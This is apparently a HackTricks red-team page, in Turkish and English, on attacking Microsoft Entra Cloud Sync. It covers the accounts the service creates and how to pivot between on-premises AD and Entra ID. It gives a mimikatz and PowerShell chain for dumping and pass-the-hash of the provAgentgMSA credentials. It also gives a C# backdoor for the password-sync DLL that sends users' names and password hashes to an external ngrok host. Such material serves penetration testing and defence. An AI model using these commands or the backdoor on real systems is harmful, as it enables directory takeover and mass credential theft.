Az - Cloud Sync
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Temel Bilgiler
Cloud Sync, temel olarak Azure’un AD’deki kullanıcıları Entra ID’ye senkronize etme için getirdiği yeni yöntemdir.
Belgelere göre: Microsoft Entra Cloud Sync, kullanıcıların, grupların ve kişilerin Microsoft Entra ID’ye senkronizasyonu için hibrit kimlik hedeflerinizi karşılamak ve gerçekleştirmek üzere Microsoft tarafından sunulan yeni bir hizmettir. Bunu Microsoft Entra Connect uygulaması yerine Microsoft Entra cloud provisioning agent kullanarak başarır. Ancak, Microsoft Entra Connect Sync ile birlikte de kullanılabilir.
Principals Generated
Bu işlemin çalışabilmesi için hem Entra ID’de hem de on-premise dizinde bazı principal’ler oluşturulur:
- In Entra ID the user
On-Premises Directory Synchronization Service Account(ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) is created with the roleDirectory Synchronization Accounts(d29b2b05-8046-44ba-8758-1e26182fcf32).
Warning
This role used to have a lot of privileged permissions and it could be used to escalate privileges even to global admin. However, Microsoft decided to remove all the privileges of this role and assign it just a new one
microsoft.directory/onPremisesSynchronization/standard/readwhich doesn’t really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).
-
Entra ID’de ayrıca üyeleri veya sahipleri olmayan
AAD DC Administratorsgrubu oluşturulur. Bu grup,Microsoft Entra Domain Serviceskullanıldığında faydalıdır. -
AD’de ya Service Account
provAgentgMSASamAcountNamegibi bir isimle oluşturulurpGMSA_<id>$@domain.com(Get-ADServiceAccount -Filter * | Select Name,SamAccountName), ya da bu izinlere sahip özel bir hesap kullanılır. Genellikle varsayılan olan oluşturulur.
Warning
Diğer izinler arasında Service Account
provAgentgMSA’nin DCSync izinleri bulunmaktadır; bu da onu ele geçiren birinin tüm dizini ele geçirmesine izin verir. DCSync hakkında daha fazla bilgi için buraya bakın.
Note
Varsayılan olarak, Domain Admins gibi bilinen ayrıcalıklı gruplara ait kullanıcılar ve
adminCountözniteliği 1 olan kullanıcılar güvenlik nedeniyle Entra ID ile senkronize edilmez. Ancak, bu özniteliğe sahip olmayan ayrıcalıklı grupların üyeleri veya doğrudan yüksek ayrıcalık atanmış diğer kullanıcılar senkronize edilebilir.
Parola Senkronizasyonu
Bu bölüm şu bölümle çok benzer:
- Password hash synchronization etkinleştirilebilir; böylece kullanıcılar AD’deki parolalarını kullanarak Entra ID’ye giriş yapabilirler. Ayrıca, AD’de bir parola değiştirildiğinde bu değişiklik Entra ID’ye de güncellenir.
- Password writeback da etkinleştirilebilir; bu, kullanıcıların Entra ID’de parolalarını değiştirmelerine ve parolanın on-premise domaine otomatik olarak senkronize edilmesine olanak tanır. Ancak mevcut dokümanlara göre (https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) bunun için Connect Agent kullanılması gerekmektedir; daha fazla bilgi için Az Connect Sync bölümüne bakın.
- Groups writeback: Bu özellik, Entra ID’den gelen grup üyeliklerinin on-premises AD’ye geri senkronize edilmesine izin verir. Yani bir kullanıcı Entra ID’de bir gruba eklendiğinde, AD’deki karşılık gelen gruba da eklenir.
Pivoting
AD –> Entra ID
- Eğer AD kullanıcıları AD’den Entra ID’ye senkronize ediliyorsa, AD’den Entra ID’ye pivot yapmak basittir: bir kullanıcının parolasını ele geçirin ya da değiştirin ya da yeni bir kullanıcı oluşturun ve Entra ID dizinine senkronize olmasını bekleyin (genellikle sadece birkaç dakika).
Örneğin:
provAgentgMSAhesabını ele geçirip DCSync saldırısı gerçekleştirebilir, bir kullanıcının parolasını kırıp sonra bunu Entra ID’ye giriş yapmak için kullanabilirsiniz.- AD’de yeni bir kullanıcı oluşturup, bunun Entra ID’ye senkronize olmasını bekleyip sonra bu kullanıcıyla Entra ID’ye giriş yapabilirsiniz.
- AD’de bir kullanıcının parolasını değiştirebilir, bunun Entra ID’ye senkronize olmasını bekleyip sonra bu parola ile Entra ID’ye giriş yapabilirsiniz.
To compromise the provAgentgMSA credentials:
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
Artık gMSA’nın hash’ini kullanarak provAgentgMSA hesabı ile Entra ID’ye karşı Pass-the-Hash saldırısı gerçekleştirebilir ve AD’ye karşı DCSync saldırıları yapabilme yeteneğini koruyarak kalıcılık sağlayabilirsiniz.
For more information about how to compromise an Active Directory check:
Active Directory Methodology - HackTricks
Note
Not: Azure veya EntraID rollerini, örneğin Cloud Sync yapılandırmalarında, eşitlenmiş kullanıcılara özniteliklerine göre vermenin herhangi bir yolu olmadığını unutmayın. Ancak eşitlenmiş kullanıcılara otomatik olarak izin vermek için bazı Entra ID groups from AD’e izin verilebilir; böylece o grupların içindeki eşitlenmiş kullanıcılar da bu izinleri alır veya dynamic groups might be used; bu yüzden her zaman dynamic kuralları ve kötüye kullanım olasılıklarını kontrol edin:
Regarding persistence this blog post suggest that it’s possible to use dnSpy to backdoor the dll Microsoft.Online.Passwordsynchronisation.dll located in C:\Program Files\Microsoft Azure AD Sync\Bin that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class PasswordHashGenerator and the blog post suggest adding some code so the class looks like (note the use System.Net and the WebClient usage to exfiltrate the password hashes):
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
Entra ID –> AD
-
Eğer Password Writeback etkinse, Entra ID’deki bazı kullanıcıların parolalarını değiştirebilir ve AD ağına erişiminiz varsa bu hesaplarla bağlanabilirsiniz. Daha fazla bilgi için Az Connect Sync section bölümüne bakın; çünkü Password Writeback bu agent kullanılarak yapılandırılır.
-
Bu noktada Cloud Sync ayrıca “Microsoft Entra ID to AD”’yi destekliyor, fakat zamanla gördüm ki EntraID kullanıcılarını AD’ye senkronize edemiyor ve yalnızca password hash ile senkronize edilmiş ve senkronize etmeye çalıştığımız domain ile aynı domain forest’üne ait bir domainden gelen EntraID kullanıcılarını senkronize edebiliyor; detayları şu adreste okuyabilirsiniz: https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:
- Bu gruplar yalnızca on-premises senkronize edilmiş kullanıcıları ve/veya ek bulutta oluşturulmuş güvenlik gruplarını içerebilir.
- Senkronize edilen on-premises kullanıcı hesapları ve bu bulut tarafından oluşturulan güvenlik grubunun üyeleri aynı etki alanından veya etki alanları arası olabilir, fakat hepsi aynı forest’ten olmalıdır.
Bu nedenle bu servisin attack surface (ve kullanışlılığı) büyük ölçüde azalır; çünkü bir saldırganın diğer domain’deki bir kullanıcıyı compromise etmek için, kullanıcıların senkronize edildiği ilk AD’yi compromise etmesi gerekir (ve görünüşe göre her iki domain de aynı forest içinde olmalıdır).
Enumeration
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

